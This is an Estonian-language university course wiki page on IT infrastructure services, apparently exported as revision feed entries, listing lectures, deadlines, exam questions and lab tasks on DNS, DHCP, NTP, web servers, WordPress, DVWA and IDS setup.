[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Teemad 2015 ==&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88410</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88410"/>
		<updated>2015-05-11T09:32:15Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Teemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
